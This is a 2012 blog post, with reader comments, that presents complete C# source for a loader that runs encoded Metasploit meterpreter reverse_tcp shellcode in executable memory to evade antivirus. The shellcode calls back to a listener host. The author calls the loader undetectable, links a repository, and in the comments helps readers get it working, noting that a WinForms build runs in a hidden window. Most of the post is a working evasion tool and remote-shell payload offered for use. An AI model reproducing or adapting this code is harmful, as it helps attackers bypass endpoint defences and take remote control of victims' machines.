Thursday, February 23, 2012

Using .net to bypass AV

I've read a ton of articles on bypassing Antivirus software when trying to run shellcode on machines. There's just a ton available. These are just a few examples:
I was recently working with some Windows web-servers, which had ASP.net enabled, but not any other useful language. I had recently read about PowerSyringe, so I started tinkering with making some shellcode run similarly.

I ended up finding out that I couldn't do what I was wanting to do in ASP.net as of yet. If someone else can find a way, please let me know. Unfortunately, I get the error, "Attempted to read or write protected memory. This is often an indication that other memory is corrupt.", when trying to use this in ASP.net.

However, for just normal Windows applications, this is yet another great way to hide from AV. It's very similar to the python method, where you wrap the payload in python, and then turn it into an executable. Take a look, and let me know of any improvements:
using System;
using System.Runtime.InteropServices;

namespace Wrapper
{
    class Program
    {
        [Flags]
        public enum AllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            RESET = 0x80000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000
        }

        [Flags]
        public enum MemoryProtection : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            GUARD_Modifierflag = 0x100,
            NOCACHE_Modifierflag = 0x200,
            WRITECOMBINE_Modifierflag = 0x400
        }

        public enum FreeType : uint
        {
            MEM_DECOMMIT = 0x4000,
            MEM_RELEASE = 0x8000
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();

        static void Main()
        {
            // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.105 R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
            string shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIilkXK9ePePc0qpK9HeUazrU4NkrrtplKPRfllK3bdTlKsBExvoOG3zfFP1YovQyPLl5lpaCL7rDl5pzaZofmUQo7KRzPrrrwLKv2vpnkrbUleQJplKspt8K5IPt4rjs1XPf0nkpH5HLKf8gPvaxSHc5l0IlKTtlKGqzv6QyoFQIPLlzajoTMgqxGuh9pRUzTwsQmzXEkametd5kRQHNkchetGqxSRFlK4LbklK2x7lva9ClKS4lKgqXPNiG4VD6DskCkE169sjV1IoM0bxcobznkDRhkK6smbH03drEPC0qx0wRSEbsobtbH2ld7a6UW9oIEMhlPuQePePuyo4RtbpaxTik0BKc09oHUBp2pf060CpBpSpBpphxjtOkoM0YoKenwQzWurHKpMxfau9sXgr30vqClmYZF3ZTPBvqGCXj9lept3QKOZuouo0Pt6lYobns8SEHlbHxpX5Y21FKON53ZC0SZVdbvCgu8s2n9jhsoKOn5Nk6VSZCpE8S0b0C05PPVcZ30e82xLd1CiukOjuNsScCZUP1F0SV7U84BJyhH1OyoN5wqIStiHFMU9fD5hlYSAA";

            byte[] sc = new byte[shellcode.Length];

            for (int i = 0; i < shellcode.Length; i++)
            {
                sc[i] = Convert.ToByte(shellcode[i]);
            }

            // Allocate RWX memory for the shellcode
            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
            System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");

            try
            {
                // Copy shellcode to RWX buffer
                Marshal.Copy(sc, 0, baseAddr, sc.Length);

                // Get pointer to function created in memory
                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                del();
            }
            finally
            {
                VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
            }

            Console.ReadLine();
        }
    }
}
Once this is compiled, it seems to currently be completely undetectable.


Update: Due to several questions, I have uploaded this to GitHub

10 comments:

  1. hi good post but
    i'm getting "Attempted to read or write protected memory. This is often an indication that other memory is corrupt." in winform application as well as a console application. i tried .net2.0,3.5,4.0 all are same no luck. Any spacial compiler settings need to avoid this error? I did check allow unsafe code but no luck again.

    ReplyDelete
    Replies
    1. You may try using the solution that I just uploaded to github: https://github.com/mandreko/DotNetAVBypass

      .net2.0+ should work. If you're getting that error, make sure your Platform is correctly set to x86, even if you're on x64. For some reason, x64 meterpreter won't work, but x86 ones do, even on x64 architectures.

      Delete
    2. Thanks for quick reply i found it was only run on .net 4 and .net 4 client profile. i was trying to run from visual stdio directly that did not worked. it need to run directly by double clicking, winform,console app doesn't meter.

      Delete
    3. Correct, running from a debugger won't work correctly.

      And the only difference between running it as a WinForms versus Console, is that a Consoleapp will keep a window open on the desktop (if double-clicked), whereas a WinForms app will run in a hidden window.

      Delete
  2. Hello Matt, I've tried to run your program with a reverse_tcp_dns payload:
    "msfpayload windows/meterpreter/reverse_tcp_dns LPORT=5000 LHOST=mydomain.com R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX" but it does not connect to my meterpreter listener (I have tested the listener with another reverse_tcp payload and it is working). Even if i generate a payload like the one you use on the example, it doesn't work. Obviously I am making a mistake, but i can't find it. I am using WINXP SP3 and .net 3.5, could you give me a hint about what is happening? Thanks in advance.

    ReplyDelete
  3. Hello!
    I am trying to replicate this within my lab.
    Alright, I've tried compiling your code (both from here and Github) multiple times, all without any luck. Neither works, really.

    In FF, when I browse to the site, bit tries to save a string of random characters with -part1 after it. In IE, it simply shows a ton of pages with whacky / crazy ssymbols.

    In C#, I've made sure its set to Windows application and .net 4. I know I'm missing something, but I can't see to figure out what, if anything.

    Any ideas?

    ReplyDelete
    Replies
    1. Are you downloading the entire git folder structure as a zip file, or using git to pull down the source? What error(s) do you get when you attempt to compile? As of now, your post is a little too vague for me to know what the problem is.

      Delete
  4. # hello Matt
    i replicated this several time and download your zip file and try agien but no way, every time i had errors i used vs 2008 c# console app with XP but i dont know whats wrong anyway ,thanks for your informations hopeing get a solution

    ReplyDelete
    Replies
    1. Can you please provide any of the actual errors you're getting? With the current information you have provided, I can't tell you anything.

      Delete
    2. thanks for quick reply, after create the app and run it first no connection open with msf and in windows there is an error mesg (DotNetAVBypass has encountered a problem and nees to close)and asked for close or debug so i choose debug so VS 3.5 opened on the program and stoped on del() method and wrote this

      (Attempted to read or write protected memory. This is often an indication that other memory is corrupt.)
      or
      (Unhandled exception at 0x00e50019 in DotNetAVBypass.exe: 0xC0000005: Access violation writing location 0x000000a0)

      Delete

Popular

Recent

Comments